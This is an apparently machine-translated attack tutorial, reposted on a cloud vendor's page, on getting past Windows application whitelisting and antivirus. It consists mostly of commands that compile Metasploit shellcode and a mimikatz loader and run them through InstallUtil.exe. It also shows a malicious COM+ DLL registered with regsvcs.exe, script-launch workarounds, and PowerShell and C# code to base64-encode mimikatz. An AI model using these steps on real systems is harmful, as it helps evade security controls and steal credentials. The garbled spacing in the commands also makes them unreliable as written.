Bypass Protection Using whitelist applications

Source: Internet
Author: User
Tags base64 encode

Bypass Protection Using whitelist applications

0x01 Script Execution

In some cases, for example, if the. bat |. vbs |. ps1 script is restricted, we can bypass the following methods:
. Bat cmd.exe/k
. Vbs cscript.exe // E: vbscript script.txt
. Ps1 Get-Content script.txt | iex




During the test, please pay attention to encoding. If you manually write "net user" to a new file to test the file, you will find that the file fails, so use echo.


0x01 use installutil.exe to execute the program

In some cases, attackers cannot execute exe files on the website, or the anti-virus software is too powerful. This method bypasses the detection. Of course, the environment must be. net4.0 or above.

1. directly use msf to generate shellcode and execute shellcode
Step One:
C: \ Windows \ Microsoft. NET \ Framework64 \ v4.0.30319 \ csc.exe/unsafe/platform: x64/out: exeshell.exe Shellcode. cs
Step Two:
C: \ Windows \ Microsoft. NET \ Framework64 \ v4.0.30319 \ InstallUtil.exe/logfile =/LogToConsole = false/U exeshell.exe

Of course, if you want to do it locally first, and then upload the server for execution in the second part.


2. directly execute the pe file (execute mimikatz)

For a pe file, you must first encode the pe file with base64. There are two methods:

* Base64 Encode Mimikatz In PowerShell-$fileName = "mimikatz.exe"$fileContent = get-content $fileName$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)$fileContentEncoded | set-content ($fileName + ".b64")* [OR]byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe");String AsBase64String = Convert.ToBase64String(AsBytes);StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64");sw.Write(AsBase64String);sw.Close();

Use the same as above:
C: \ Windows \ Microsoft. NET \ Framework64 \ v4.0.30319 \ csc.exe/unsafe/out: PELoader.exe PELoader. cs
C: \ Windows \ Microsoft. NET \ Framework64 \ v4.0.30319 \ InstallUtil.exe/logfile =/LogToConsole = false/U PELoader.exe


0x02 use COM + application

Write our malicious shellcode into the COM + application

1: [. net sdk] sn.exe key. snk

2: C: \ Windows \ Microsoft. NET \ Framework \ v4.0.30319 \ csc.exe/r: System. enterpriseServices. dll/keyfile: key. snk/target: library/out: dllguest. dll dllguest. cs

3: [As Administrator] C: \ Windows \ Microsoft. NET \ Framework \ v4.0.30319 \ regsvcs.exe dllguest. dll

4: [From PowerShell] $ B = New-Object-ComObject dllguest. bypass
OR
[From VBScript] Dim obj Set obj = CreateObject ("dllguest. Bypass ")

Use the original demo:


Although the demo was not perfect, there were a lot of errors during the test, but it already showed the author's goal of "using the White List Application to execute malicious code.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.